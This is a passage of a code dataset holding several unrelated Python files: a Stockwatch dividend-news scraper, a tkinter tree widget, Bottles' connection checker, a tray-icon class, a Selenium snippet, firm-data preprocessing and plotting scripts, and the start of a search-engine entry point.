td.findAll('a'):\n pages_dict[a.text] = re.findall(\"\\'(.*?)\\'\", a['href'])[0]\n last_page = a.text\n\n for page, link in pages_dict.items():\n print(f'Получаем {page} страницу из {last_page}')\n\n names_for_pop = [\n 'ctl00$CheckChart2', 'ctl00$CheckCloses2', 'ctl00$CheckDepth2', 'ctl00$GoButton2',\n 'ctl00$ImageButton1'\n ]\n data_change = {\n '__EVENTTARGET': link, 'ctl00$CheckNews2': 'on', 'ctl00$CheckQuote2': 'on',\n 'ctl00$RadioRegion2': 'RadioUS2'\n }\n data = make_data_for_request(soup, names_for_pop, data_change)\n r = s.post('https://www.stockwatch.com/News/Search.aspx', data=data)\n soup = BeautifulSoup(r.text, \"lxml\")\n dict_df = fill_news_file(soup, dict_df)\n\n print(f'{page} страница получена успешно')\n\n # Сохраним\n final_df = pd.DataFrame.from_dict(dict_df)\n final_df.to_csv(f'data\\SpecDiv_{end_date}.csv', index=False)\n\n\ndef create_session(base_url: str, headers: dict, cur_disc: str = cur_disc):\n with requests.Session() as s:\n # Логин --------------------------------------------------------------------------------------------------------\n s.headers['User-Agent'] = headers['User-Agent']\n r = s.get(base_url)\n soup = BeautifulSoup(r.text, \"lxml\")\n\n # Куки для логина\n AntiXsrfToken = r.headers['Set-Cookie'].split(';')[0]\n pref = r.headers['Set-Cookie'].split(';')[2].split(',')[1] # .replace(\"%7cN%7cN%7\", \"%7cN%7cY%7\")\n s.headers = headers\n s.headers['Content-Length'] = '5107' # r.headers['Content-Length']\n s.headers['Referer'] = base_url\n s.headers['Cookie'] = ';'.join([AntiXsrfToken, pref])\n\n # Data для логина\n names_for_pop = [\n 'ctl00$CheckChart2', 'ctl00$CheckCloses2', 'ctl00$CheckDepth2', 'ctl00$GoButton2',\n 'ctl00$MainContent$HpIndexesChart4$bIndexRemove', 'ctl00$MainContent$HpIndexesChart5$bIndexRemove'\n ]\n data_change = {\n 'ctl00$RadioRegion2': 'RadioUS2', 'ctl00$CheckQuote2': 'on', 'ctl00$CheckNews2': 'on',\n 'ctl00$PowerUserName': user_name, 'ctl00$PowerRememberMe': 'on', 'ctl00$PowerPassword': password,\n 'ctl00$Login.x': '40', 'ctl00$Login.y': '9', 'ctl00$MainContent$cActive$ListEx': 'T',\n 'ctl00$MainContent$cActive$RadioTop10': 'RadioGain'\n }\n data = make_data_for_request(soup, names_for_pop, data_change)\n\n # Получение ключа\n r = s.post(base_url, data=data, allow_redirects=False)\n key_xxx = r.headers['Set-Cookie'].split(';')[0]\n headers = {'User-Agent': headers['User-Agent'], 'Cookie': '; '.join([s.headers['Cookie'], key_xxx])}\n s.headers = headers\n print(\"Логин-ключ получен\")\n time.sleep(3)\n\n # Получение новостей по определённому слову\n work_days = [datetime.now()]\n for end_date in work_days:\n start_date = mcal.get_calendar('NYSE').schedule(\n start_date=end_date-timedelta(days=7),\n end_date=end_date\n )\n start_date = start_date.index[-2]\n news_finder(\n s, key_words, sort_news, keyword_type, start_date.strftime('%Y%m%d'), end_date.strftime('%Y%m%d')\n )\n filter_news(end_date, start_date)\n\n # Закрываем сессию\n s.close()\n\n\ndef filter_news(today: datet.date, yesterday: datet.date):\n # today = datetime.now()\n # yesterday = today - timedelta(days=1) if today.weekday() != 0 else today - timedelta(days=3)\n df = pd.read_csv(f\"data\\SpecDiv_{today.strftime('%Y%m%d')}.csv\", parse_dates=['date'])\n df_tiingo = get_tiingo()\n\n # Удалим неактуальные (если новость была вчера на открытии или вчера в течении дня)\n df = df[\n (df['date'].dt.strftime('%Y%m%d') == today.strftime('%Y%m%d')) |\n ((df['date'].dt.strftime('%Y%m%d') == yesterday.strftime('%Y%m%d')) & (df['time'].isin(['AMC', 'DAY'])))\n ]\n\n # Удалим ETF\n idx_drop = []\n df['assetType'] = None\n for idx, row in df.iterrows():\n asset_type = get_asset_type(df_tiingo, row['ticker'])\n if asset_type not in ['Stock', '-']:\n idx_drop.append(idx)\n df.loc[idx, 'assetType'] = asset_type\n df.drop(idx_drop, axis=0, inplace=True)\n\n # Удалим не проходящие по объёму. Добавим данные.\n fm.download_tickers(df['ticker'], reload=False, threads=10)\n dict_data = fm.get_tickers(df['ticker'])\n idx_drop = []\n for idx, row in df.iterrows():\n ticker = row['ticker']\n if ticker not in dict_data.keys():\n idx_drop.append(idx)\n continue\n\n cur_yesterday = yesterday.strftime('%Y-%m-%d')\n cur_df = dict_data[ticker][:cur_yesterday]\n if cur_yesterday not in cur_df.index:\n print(f\"{ticker, cur_yesterday} нет данных на дату\")\n idx_drop.append(idx)\n continue\n\n prenews_price = cur_df['close'].iloc[-1]\n avg_vol = cur_df['volume'].iloc[-20:].mean()\n if (50_000 > avg_vol) or (avg_vol > 3_000_000):\n idx_drop.append(idx)\n else:\n df.loc[idx, 'AvgVol'] = avg_vol\n df.loc[idx, 'PrenewsPrice'] = prenews_price\n df.drop(idx_drop, axis=0, inplace=True)\n df['divAmount'] = None\n df['divToPrice'] = None\n df['recordDate'] = None\n df['dayDiff'] = None\n\n # Если финальный файл уже существует, то добвим к тему недостающие данные\n path = f\"data\\SpecDiv_{today.strftime('%Y%m%d')}_final.csv\"\n if os.path.exists(path):\n old_df = pd.read_csv(path)\n new_df = pd.concat([old_df, df], ignore_index=True)\n new_df.drop_duplicates(subset=['ticker', 'headline'], keep=False, inplace=True)\n new_df.sort_values('date').to_csv(path, mode='a', header=False, index=False)\n else:\n df.drop_duplicates(subset=['ticker', 'headline'], keep='first', inplace=True)\n df.sort_values('date').to_csv(path, index=False)\n\n print(pd.read_csv(path))\n print(\"Рассчитай вручную, чтобы до дня ex-div date было менее 20 дней и чтобы див был более 2.5% от цены.\")\n\n\nif __name__ == \"__main__\":\n create_session(base_url, headers)\n\n while datetime.now().hour < 10:\n hour = datetime.now().hour\n min = datetime.now().minute\n if (hour in [4, 5, 6, 7, 8, 9] and min == 1) or (hour == 9 and min in [10, 15]):\n print(f\"Работаем. {datetime.now()}\")\n create_session(base_url, headers)\n time.sleep(30)\n\n time.sleep(60)\n","repo_name":"apokrif333/SpecialDividends","sub_path":"04. NewsFinder.py","file_name":"04. NewsFinder.py","file_ext":"py","file_size_in_byte":13227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10111673602","text":"import tkinter as tk\nfrom tkinter import ttk\nimport os.path\n\n\nclass List_selection_rect(tk.Frame):\n def __init__(self, master: tk.Frame, type: str):\n \"\"\"\n Création d'une liste dynamique\n qui change ces valeurs en fonction du type\n :param master: Frame Parent\n :param type: type de fichier\n \"\"\"\n super().__init__(master)\n self.master = master\n self.grid(row=3, column=0)\n self.type = type\n self.parent_dir = os.path.join(os.path.realpath(__file__), os.pardir, os.pardir, os.pardir)\n\n def affichage(self) -> None:\n \"\"\"\n Affichage de toute la liste\n :return: None\n \"\"\"\n self.tree = ttk.Treeview(master=self.master)\n self.tree.heading('#0', text='Zone de données importantes', anchor=tk.W)\n\n self.update_tree()\n self.tree.grid(row=3, column=0, padx=10)\n\n def update_tree(self) -> None:\n \"\"\"\n Recharge la liste avec les lignes et les sous-lignes:\n -ligne 1\n -sousligne 1\n :return: None\n \"\"\"\n for selected_item in self.tree.get_children():\n self.tree.delete(selected_item)\n dict_modele = self.get_tree_modele()\n nb_ligne = len(dict_modele)\n for i in range(0, nb_ligne):\n nom_ligne = f\"ligne {i}\"\n if nom_ligne in dict_modele:\n self.tree.insert('', tk.END, text=dict_modele[nom_ligne], iid=dict_modele[nom_ligne], open=False)\n nom_children = f\"subligne {i}\"\n if nom_children in dict_modele:\n tabchildren = dict_modele[nom_children]\n for j in range(0, len(tabchildren)):\n iid = dict_modele[nom_ligne] + \".\" + tabchildren[j]\n self.tree.insert('', tk.END, text=tabchildren[j], iid=iid, open=False)\n self.tree.move(iid, dict_modele[nom_ligne], j)\n nom_souschildren = f\"subsubligne {i}\"\n if nom_souschildren in dict_modele:\n tabsouschildren = dict_modele[nom_souschildren]\n for k in range(0, len(tabsouschildren)):\n idd_parent = dict_modele[nom_ligne] + \".\" + tabchildren[j]\n iid = dict_modele[nom_ligne] + \".\" + tabchildren[j] + \".\" + tabsouschildren[k]\n self.tree.insert('', tk.END, text=tabsouschildren[k], iid=iid, open=False)\n self.tree.move(iid, idd_parent, k)\n\n def get_tree_modele(self) -> None:\n \"\"\"\n Récupérer les paramètres dans le fichier 'Type_tree'\n :return: None\n \"\"\"\n type_path = os.path.join(self.parent_dir, \"Config_interface\", 'Type_tree')\n fichier = open(type_path, \"r\")\n tree_type = fichier.readlines()\n fichier.close()\n modele_trouve = False\n i = 0\n for ligne in tree_type:\n\n if ligne.find(self.type) != -1:\n modele_trouve = True\n if (modele_trouve == True and ligne.find(\"{\") != -1):\n debut = i\n if (modele_trouve == True and ligne.find(\"}\") != -1):\n fin = i\n break\n i += 1\n dict = \"\"\n for x in range(debut, fin + 1):\n dict += tree_type[x]\n dict = eval(dict.replace(\"'\", \"\\\"\"))\n return dict\n\n def set_type(self, type: str) -> None:\n \"\"\"\n :param type: Type du fichier\n :return: None\n \"\"\"\n self.type = type\n\n def get_selection_id(self) -> str:\n \"\"\"\n Permets de récupérer l'identifiant de la ligne sélectionner\n :return: id correspondant à la selection de l'utilisateur\n \"\"\"\n if len(self.tree.selection()) != 0:\n selected_item = self.tree.selection()[0]\n if self.tree.parent(selected_item) == \"\":\n parent_id = selected_item\n else:\n parent_id = self.tree.parent(selected_item)\n if parent_id not in [\"personne\", \"adresse\", \"entreprise\"]:\n id = selected_item + \".\" + \"flottant\"\n return id\n elif parent_id != \"\":\n id = selected_item\n return id\n","repo_name":"itsax404/OCRganiz","sub_path":"Interface/Classe/Tree_selection.py","file_name":"Tree_selection.py","file_ext":"py","file_size_in_byte":4262,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"73873142874","text":"import os\nfrom datetime import datetime\nfrom gettext import gettext as _\nfrom typing import Optional\n\nimport pycurl\n\nfrom bottles.backend.logger import Logger\nfrom bottles.backend.models.result import Result\nfrom bottles.backend.state import SignalManager, Signals, Notification\n\nlogging = Logger()\n\n\nclass ConnectionUtils:\n \"\"\"\n This class is used to check the connection, pinging the official\n Bottle's website. If the connection is offline, the user will be\n notified and False will be returned, otherwise True.\n \"\"\"\n _status: Optional[bool] = None\n last_check = None\n\n def __init__(self, force_offline=False, **kwargs):\n super().__init__(**kwargs)\n self.force_offline = force_offline\n self.do_check_connection = True\n self.aborted_connections = 0\n SignalManager.connect(Signals.ForceStopNetworking, self.stop_check)\n\n @property\n def status(self) -> Optional[bool]:\n return self._status\n\n @status.setter\n def status(self, value: bool):\n if value is None:\n logging.error(\"Cannot set network status to None\")\n return\n self._status = value\n SignalManager.send(Signals.NetworkStatusChanged, Result(status=self.status))\n\n def __curl_progress(self, _download_t, _download_d, _upload_t, _upload_d):\n if self.do_check_connection:\n return pycurl.E_OK\n else:\n self.aborted_connections+=1\n return pycurl.E_ABORTED_BY_CALLBACK\n\n def stop_check(self, res: Result):\n if res.status:\n self.do_check_connection = False\n\n def check_connection(self, show_notification=False) -> bool:\n \"\"\"check network status, send result through signal NetworkReady and return\"\"\"\n if self.force_offline or \"FORCE_OFFLINE\" in os.environ:\n logging.info(\"Forcing offline mode\")\n self.status = False\n return False\n\n try:\n c = pycurl.Curl()\n c.setopt(c.URL, 'https://ping.usebottles.com')\n c.setopt(c.FOLLOWLOCATION, True)\n c.setopt(c.NOBODY, True)\n c.setopt(c.NOPROGRESS, False)\n c.setopt(c.XFERINFOFUNCTION, self.__curl_progress) \n c.perform()\n\n if c.getinfo(pycurl.HTTP_CODE) != 200:\n raise Exception(\"Connection status: offline …\")\n\n self.last_check = datetime.now()\n self.status = True\n except Exception:\n logging.warning(\"Connection status: offline …\")\n if show_notification:\n SignalManager.send(Signals.GNotification, Result(True, Notification(\n title=\"Bottles\",\n text=_(\"You are offline, unable to download.\"),\n image=\"network-wireless-disabled-symbolic\"\n )))\n self.last_check = datetime.now()\n self.status = False\n finally:\n self.do_check_connection = True\n return self.status\n","repo_name":"bottlesdevs/Bottles","sub_path":"bottles/backend/utils/connection.py","file_name":"connection.py","file_ext":"py","file_size_in_byte":2994,"program_lang":"python","lang":"en","doc_type":"code","stars":5464,"dataset":"github-code","pt":"50"} +{"seq_id":"29039777904","text":"import gi\ngi.require_versions({\"Gtk\": \"3.0\", \"AppIndicator3\": \"0.1\"})\n\nfrom configuration import Configuration\nfrom desktop_entry import DesktopEntry\nfrom key_binder import KeyBinder\nfrom ui.main_window import MainWindow\n\nfrom gi.repository import Gtk, AppIndicator3\n\n\nclass TrayIcon:\n\n def __init__(self, configuration: Configuration, key_binder: KeyBinder):\n self._configuration = configuration\n self._key_binder = key_binder\n\n def show(self):\n self._indicator = AppIndicator3.Indicator.new('MonKey', str(DesktopEntry.ICON_PATH),\n AppIndicator3.IndicatorCategory.SYSTEM_SERVICES)\n self._indicator.set_status(AppIndicator3.IndicatorStatus.ACTIVE)\n self._indicator.set_menu(self._build_app_indicator_menu())\n\n def _build_app_indicator_menu(self):\n menu = Gtk.Menu()\n configuration_item = Gtk.MenuItem(label='Configure hotkeys')\n configuration_item.connect('activate', self._open_main_window)\n menu.append(configuration_item)\n menu.append(Gtk.SeparatorMenuItem())\n quit_item = Gtk.MenuItem(label='Quit')\n quit_item.connect('activate', self._quit_app)\n menu.append(quit_item)\n menu.show_all()\n return menu\n\n def _open_main_window(self, _):\n MainWindow(self._configuration, self._key_binder).show()\n\n def _quit_app(self, _):\n Gtk.main_quit()\n","repo_name":"adi-benz/mon-key","sub_path":"ui/tray_icon.py","file_name":"tray_icon.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"71515203354","text":"from selenium import webdriver\n\ndriver=webdriver.Firefox()\ndriver.get(\"file:///C:/Users/ADMIN/PycharmProjects/7_Class_16_2_2018/HTML/Table.html\")\ndriver.maximize_window()\ndriver.implicitly_wait(30)\n\nele=driver.find_elements_by_xpath(\"//*[@id='Employe']/thead/tr/th\")\nprint(len(ele))\n#first_part=\"//[@id='Employe']/thead/tr/th[\"\n#econd_part=\"]\"","repo_name":"dongeorge77/Selenium-Automation-3_Web_Table_Handle","sub_path":"5_WebTableHandleHTML.py","file_name":"5_WebTableHandleHTML.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"7336604963","text":"\n\n\"\"\"\nModule to preprocess the data and filter unuseful cols or reformat the data in\ncolumn-wise way.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport datetime\nfrom itertools import product\n\n\n############################## GLOBAL VARIABLES ###############################\n###############################################################################\ntypes = ['Act', 'ActC', 'Pasfijo', 'Pasliq', 'Trab', 'Va', 'Vtas']\nyears = [2006, 2007, 2008, 2009, 2010, 2011, 2012]\nyears_key = ['06', '07', '08', '09', '10', '11', '12']\n## Column info transformation\nmain_cols = ['Nom', 'nif', 'cnae', 'cp', 'localidad', 'ES-X', 'ES-Y',\n 'apertura', 'cierre']\nmapping_manu = {'localitat': 'localidad', 'ESX': 'ES-X', 'ESY': 'ES-Y',\n 'esx': 'es-x', 'esy': 'es-y'}\ntypes_m = ['Act', 'ActC', 'Pasfijo', 'Pasliq', 'Treb', 'Va', 'Vdes']\n# Variables to store\nvars_atemporal = ['nom', 'nif', 'cp', 'ca', 'es-x', 'es-y', 'sector', 'cnae',\n 'apertura', 'cierre']\n#vars_temporal = product(year_key, types)\nvars_atemporal2 = ['nif', 'cp', 'ca', 'es-x', 'es-y', 'sector', 'cnae',\n 'apertura', 'cierre']\n\n\n###############################################################################\n############################### JOINING EMPRESAS ##############################\n###############################################################################\ndef join_empresas_atemporal(servicios, manufactures, ca_name):\n \"\"\"\"\"\"\n manu_ca = manufactures[manufactures['ca'].apply(lambda x: x == ca_name)]\n empresas =\\\n pd.concat([servicios[vars_atemporal], manu_ca[vars_atemporal]], axis=0)\n return empresas\n\n\ndef join_and_store_empresas_atemporal(empresas, pathdata):\n namefile = 'empresas'\n pathfold = os.path.join(pathdata, 'atemporal')\n pathfile = os.path.join(pathfold, namefile)\n empresas = pd.concat(empresas, axis=0)\n ## Reindices\n empresas.indices = range(len(empresas))\n ## Cp correct\n f_cp = lambda x: (5-len(str(int(x))))*'0'+str(int(x))\n empresas.loc[:, 'cp'] = empresas['cp'].apply(f_cp)\n# ##### DEBUG: temporal\n# try:\n# empresas.loc[:, 'cp'] = empresas['cp'].apply(f_cp)\n# except:\n# for i in range(len(empresas)):\n# f_cp(empresas.loc[i, 'cp'])\n# ################################\n ## Apertura y cierre\n empresas.loc[:, 'apertura'] =\\\n empresas['apertura'].apply(lambda x: x.strftime('%F'))\n empresas.loc[:, 'cierre'] =\\\n empresas['cierre'].apply(lambda x: x.strftime('%F'))\n ## Store\n empresas[vars_atemporal2].to_csv(pathfile, sep=';')\n empresas[['nom', 'nif']].to_excel(os.path.join(pathfold, 'empresas.xlsx'))\n\n\ndef store_empresas_atemporal_years(empresas, ca_name, pathdata):\n \"\"\"\"\"\"\n pathfold_locs = os.path.join(pathdata, 'locations')\n pathfold_sector = os.path.join(pathdata, 'sector')\n\n apertura = empresas['apertura'].apply(lambda x: x.strftime('%F'))\n apertura = apertura.apply(lambda x: int(x[:4])).as_matrix()\n cierre = empresas['cierre'].apply(lambda x: x.strftime('%F'))\n cierre = cierre.apply(lambda x: int(x[:4])).as_matrix()\n\n for i in range(len(years)):\n logi = np.logical_and(years[i] <= cierre, years[i] >= apertura)\n locs_year = empresas[['nif', 'es-x', 'es-y']][logi]\n sector_year = empresas[['nif', 'sector', 'cnae']][logi]\n locs_year.indices = range(len(locs_year))\n sector_year.indices = range(len(sector_year))\n\n namefile = ca_name+'_'+years_key[i]+'.csv'\n locs_year.to_csv(os.path.join(pathfold_locs, namefile), sep=';')\n sector_year.to_csv(os.path.join(pathfold_sector, namefile), sep=';')\n\n\ndef join_and_store_empresas_temporal(servicios, manufactures, ca_name,\n pathdata):\n logi = manufactures['ca'].apply(lambda x: x == ca_name).as_matrix()\n manu_ca = manufactures[logi]\n for year_key in years_key:\n vars_temporal_year = [year_key+type_.lower() for type_ in types]\n servicios_year = servicios[['nif']+vars_temporal_year]\n manu_ca_year = manu_ca[['nif']+vars_temporal_year]\n servicios_year, manu_ca_year, collapsed =\\\n filter_unique_nif(servicios_year, manu_ca_year)\n empresas = pd.concat([servicios_year, manu_ca_year, collapsed], axis=0)\n namefile = ca_name+'_'+year_key+'.csv'\n pathfile = os.path.join(os.path.join(pathdata, 'temporal'), namefile)\n logi = check_year_open(empresas, year_key)\n empresas.columns = ['nif'] + types\n empresas[logi].to_csv(pathfile, sep=';')\n\n\n###############################################################################\n############################### DATES FORMATTING ##############################\n###############################################################################\ndef compute_apertura_cierre(df):\n apertura = obtain_open_aperture_date(df)\n cierre = obtain_close_date(df)\n if 'apertura' in df.columns:\n del df['apertura']\n if 'cierre' in df.columns:\n del df['cierre']\n df.index = range(len(df))\n df = pd.concat([df, pd.DataFrame({'apertura': apertura}),\n pd.DataFrame({'cierre': cierre})], axis=1)\n# df.loc[:, 'apertura'] = apertura\n# df.loc[:, 'cierre'] = cierre\n return df\n\n\ndef obtain_open_aperture_date(df):\n \"Obtain the date of aperture of the each company.\"\n\n m_y = len(years)\n ## Obtain bool arrays\n bool_m = np.zeros((df.shape[0], m_y)).astype(bool)\n for i in range(m_y):\n bool_m[:, i] = check_year_open(df, years[i])\n\n ## Obtain date\n dates = np.zeros(bool_m.shape[0])\n for i in range(m_y):\n logi = bool_m[:, i]\n dates[np.logical_and(dates == 0, logi)] = i+1\n ## Format dates\n dates = dates + years[0]-1\n dates = dates.astype(int)\n aux = np.zeros(dates.shape).astype(datetime.date)\n for i in range(aux.shape[0]):\n aux[i] = datetime.date(int(dates[i]), 1, 1)\n dates = aux\n return dates\n\n\ndef obtain_close_date(df):\n \"Obtain close date\"\n m_y = len(years)\n ## Obtain bool arrays\n bool_m = np.zeros((df.shape[0], m_y)).astype(bool)\n for i in range(m_y):\n bool_m[:, i] = check_year_open(df, years[i])\n\n ## Obtain date\n dates = np.zeros(bool_m.shape[0])\n for i in range(m_y):\n logi = bool_m[:, i]\n dates[logi] = i\n\n ## Format dates\n dates = dates + years[0]\n dates = dates.astype(int)\n aux = np.zeros(dates.shape).astype(datetime.date)\n for i in range(aux.shape[0]):\n aux[i] = datetime.date(int(dates[i]), 12, 31)\n dates = aux\n return dates\n\n\ndef check_year_open(df, year):\n \"\"\"Function to check if there is any variables not none to check if there\n was opened the selected year.\n \"\"\"\n if type(year) == int:\n i = years.index(year)\n else:\n assert(year in years_key)\n i = years_key.index(year)\n year_key = [years_key[i]]\n comb = product(year_key, types)\n comb = [''.join(e).lower() for e in comb]\n\n logis = np.logical_not(df[comb].isnull().as_matrix())\n m = logis.shape[1]\n\n logi = np.zeros(logis.shape[0]).astype(bool)\n for i in range(m):\n logi = np.logical_or(logi, logis[:, i])\n return logi\n\n\n###############################################################################\n############################# CREATE EXTRA COLUMNS ############################\n###############################################################################\ndef create_CA_column(empresas, ca_cp_dict):\n def f(x):\n try:\n return ca_cp_dict[(5-len(str(int(x))))*'0'+str(int(x))]\n except:\n return ca_cp_dict[((2-len(str(int(x))))*'0'+str(int(x)))[:2]]\n# f = lambda x: ca_cp_dict[(5-len(str(int(x))))*'0'+str(int(x))]\n empresas['ca'] = empresas['cp'].apply(f)\n return empresas\n\n\ndef create_sector_columns(empresas, sector):\n sector = sector.lower().strip()\n assert(sector in ['manufactures', 'servicios'])\n empresas.loc[:, 'sector'] = sector\n return empresas\n\n\n###############################################################################\n############################ COLUMNS STANDARIZATION ###########################\n###############################################################################\ndef clean_colnames_manu(cols):\n \"Clean names of the manufactures.\"\n # Format properly\n cols = [e.strip() for e in cols]\n # Replace the Financial variables\n cols_f = ['y'+''.join(e) for e in product(years_key, types_m)]\n cols_f += ['y'+''.join(e).strip().lower()\n for e in product(years_key, types_m)]\n cols_f_g = [''.join(e).lower().strip() for e in product(years_key, types)]\n replace_f = dict(zip(cols_f, 2*cols_f_g))\n cols = replace_colnames(cols, replace_f)\n # Replace the main\n cols = replace_colnames(cols, mapping_manu)\n return cols\n\n\ndef replace_colnames(cols, replaces):\n \"Replace the names keeping the order in the list of colnames.\"\n for c in cols:\n if c in replaces.keys():\n cols[cols.index(c)] = replaces[c]\n return cols\n\n\n###############################################################################\n#################################### OTHERS ###################################\n###############################################################################\ndef filter_unique_nif(servicios, manufactures):\n nif_servicios, nif_manu = list(servicios['nif']), list(manufactures['nif'])\n assert(len(nif_servicios) == len(set(nif_servicios)))\n assert(len(nif_manu) == len(set(nif_manu)))\n cols_serv = [c for c in servicios.columns if c != 'nif']\n cols_manu = [c for c in manufactures.columns if c != 'nif']\n ncols = len(servicios.columns)\n logi_serv, logi_manu, new_rows = [], [], []\n for i in range(len(nif_servicios)):\n if nif_servicios[i] in nif_manu:\n j = nif_manu.index(nif_servicios[i])\n# print i, j, cols_serv, cols_manu\n# print servicios.iloc[i, range(1, ncols)].as_matrix(), manufactures.iloc[j, range(1, ncols)].as_matrix()\n logi_serv.append(i)\n logi_manu.append(j)\n fin = collapse_finance(servicios.iloc[i, range(1, ncols)],\n manufactures.iloc[j, range(1, ncols)])\n new_rows.append([nif_servicios[i]]+list(fin))\n\n new_rows = pd.DataFrame(new_rows, columns=servicios.columns)\n logi_serv = [i not in logi_serv for i in range(len(servicios))]\n logi_manu = [i not in logi_manu for i in range(len(manufactures))]\n servicios = servicios[logi_serv]\n manufactures = manufactures[logi_manu]\n return servicios, manufactures, new_rows\n\n\ndef collapse_finance(servicios, manufactures):\n f_corr = lambda x: np.logical_not(np.logical_or(np.isnan(x), x == 0))\n servicios = np.array(servicios).astype(float)\n manufactures = np.array(manufactures).astype(float)\n# print servicios, manufactures, type(servicios)\n corr_serv = f_corr(servicios)\n collapsed = []\n for i in range(len(servicios)):\n if corr_serv[i]:\n collapsed.append(servicios[i])\n else:\n collapsed.append(manufactures[i])\n collapsed = np.array(collapsed)\n return collapsed\n\n\ndef collapse_pfeatures_nif(pfeatures):\n if len(pfeatures.shape) == 1:\n return pfeatures\n f_corr = lambda x: np.logical_not(np.logical_or(np.isnan(x), x == 0))\n correctness = f_corr(pfeatures)\n new_pfeatures = []\n for col in range(pfeatures.shape[1]):\n if correctness[:, col].sum():\n i = np.where(correctness[:, col])[0][0]\n else:\n i = 0\n new_pfeatures.append(pfeatures[i, col])\n new_pfeatures = np.array(new_pfeatures)\n return new_pfeatures\n\n\n\ndef filtercols_empresas(empresas, filtercolsinfo):\n \"TODO:\"\n return empresas\n\n\ndef categorize_cols(df):\n df = cp2str(df)\n df = cnae2str(df)\n return df\n\n\ndef generate_replace(type_vals):\n \"Generate the replace for use indices and save memory.\"\n repl = {}\n for v in type_vals.keys():\n repl[v] = dict(zip(type_vals[v], range(len(type_vals[v]))))\n return repl\n\n\ndef transform_cnae_col(cnae_col, lvl):\n \"\"\"\"\"\"\n lvl_n = len(cnae_col[1])\n if lvl >= lvl_n:\n return cnae_col\n else:\n return cnae_col.apply(lambda x: x[:lvl])\n\n\n############################# Particular columns ##############################\n###############################################################################\ndef cp2str(df):\n \"\"\"Retransform cp to string.\"\"\"\n def cp2str_ind(x):\n try:\n x = str(int(x))\n x = (5-len(x))*'0'+x\n except:\n pass\n return x\n if 'cp' in df.columns:\n df.loc[:, 'cp'] = df['cp'].apply(cp2str_ind)\n return df\n\n\ndef cnae2str(df):\n \"\"\"Transforming cnae code to string.\"\"\"\n def cnae2str_ind(x):\n try:\n x = str(int(x))\n except:\n pass\n return x\n if 'cnae' in df.columns:\n df.loc[:, 'cnae'] = df['cnae'].apply(cnae2str_ind)\n return df\n\n\ndef to_float(df):\n ## Columns which has to be numbers\n cols = ['06Act', '07Act', '08Act', '09Act', '10Act', '11Act', '12Act',\n '13Act', '06ActC', '07ActC', '08ActC', '09ActC', '10ActC',\n '11ActC', '12ActC', '13ActC', '06Pasfijo', '07Pasfijo',\n '08Pasfijo', '09Pasfijo', '10Pasfijo', '11Pasfijo', '12Pasfijo',\n '13Pasfijo', '06Pasliq', '07Pasliq', '08Pasliq', '09Pasliq',\n '10Pasliq', '11Pasliq', '12Pasliq', '13Pasliq', '06Va', '07Va',\n '08Va', '09Va', '10Va', '11Va', '12Va', '13Va', '06Vtas', '07Vtas',\n '08Vtas', '09Vtas', '10Vtas', '11Vtas', '12Vtas', '13Vtas']\n ## Transformation\n columns = df.columns\n for col in columns:\n if col in cols:\n df.loc[:, col] = df[col]\n return df\n\n\ndef to_int(df):\n cols = ['06Trab', '07Trab', '08Trab', '09Trab', '10Trab', '11Trab',\n '12Trab', '13Trab']\n ## Transformation\n columns = df.columns\n for col in columns:\n if col in cols:\n df.loc[:, col] = df[col].astype(int)\n return df\n","repo_name":"tgquintela/FirmsLocations","sub_path":"FirmsLocations/Preprocess/preprocess_cols.py","file_name":"preprocess_cols.py","file_ext":"py","file_size_in_byte":14106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"12007241319","text":"from matplotlib import pyplot as plt\nimport pickle\n\nwith open(\"decoded_imgs.pkl\", 'rb') as f:\n decoded_imgs = pickle.load(f)\nwith open(\"x_test.pkl\", 'rb') as f:\n x_test = pickle.load(f)\n\nn = 10\nplt.figure(figsize=(20, 4))\nfor i in range(n):\n # display original\n ax = plt.subplot(2, n, i+1)\n plt.imshow(x_test[i].reshape(28, 28))\n plt.gray()\n #plt.show()\n #ax.get_xaxis().set_visible(False)\n #ax.get_yaxis().set_visible(False)\n\n\n # display reconstruction\n ax = plt.subplot(2, n, i + n+1)\n plt.imshow(decoded_imgs[i].reshape(28, 28))\n plt.gray()\n #ax.get_xaxis().set_visible(False)\n #ax.get_yaxis().set_visible(False)\n #plt.show()\n\nplt.show()\n\n\"\"\"\n# plotting images as their encodings:\nn = 10\nplt.figure(figsize=(20, 8))\nfor i in range(n):\n ax = plt.subplot(1, n, i)\n plt.imshow(encoded_imgs[i].reshape(4, 4 * 8).T)\n plt.gray()\n ax.get_xaxis().set_visible(False)\n ax.get_yaxis().set_visible(False)\nplt.show()\n\"\"\"","repo_name":"noahthurston/Hierarchical_MC","sub_path":"src/practice/plot_decoded_imgs.py","file_name":"plot_decoded_imgs.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"18162020383","text":"import sys\nfrom argparse import ArgumentParser\nfrom os import path\n\nfrom indexer import Indexer\nfrom indexer_bm25 import IndexerBM25\nfrom indexer_lnc_ltc import IndexerLncLtc\nfrom query import Query\nfrom tokenizer import Tokenizer\n\n\nclass Main:\n data_path: str\n stopwords_path: str\n minimum_word_size: int\n stemmer_enabled: bool\n use_positions: bool\n parser: ArgumentParser\n tokenizer: Tokenizer\n indexer: Indexer\n\n def __init__(self):\n\n # Main Mode\n self.mode = ''\n\n # Indexer mode\n self.index_type = ''\n self.data_path = ''\n self.stopwords_path = 'content/stopwords.txt'\n self.minimum_word_size = 3\n self.stemmer_enabled = True\n self.disable_positions = False\n self.max_post = 1000000\n\n # searcher mode\n self.data = ''\n self.search_type = ''\n self.loop = False\n self.query_file = ''\n self.dump_results_file = False\n self.cmd_results = False\n self.disable_boost = False\n self.span_size = 4\n\n self.parser = ArgumentParser()\n self.tokenizer = Tokenizer(stopwords_path=self.stopwords_path,\n stemmer_enabled=self.stemmer_enabled,\n size_filter=self.minimum_word_size)\n self.indexer = Indexer(tokenizer=self.tokenizer,\n max_postings_per_temp_block=self.max_post,\n 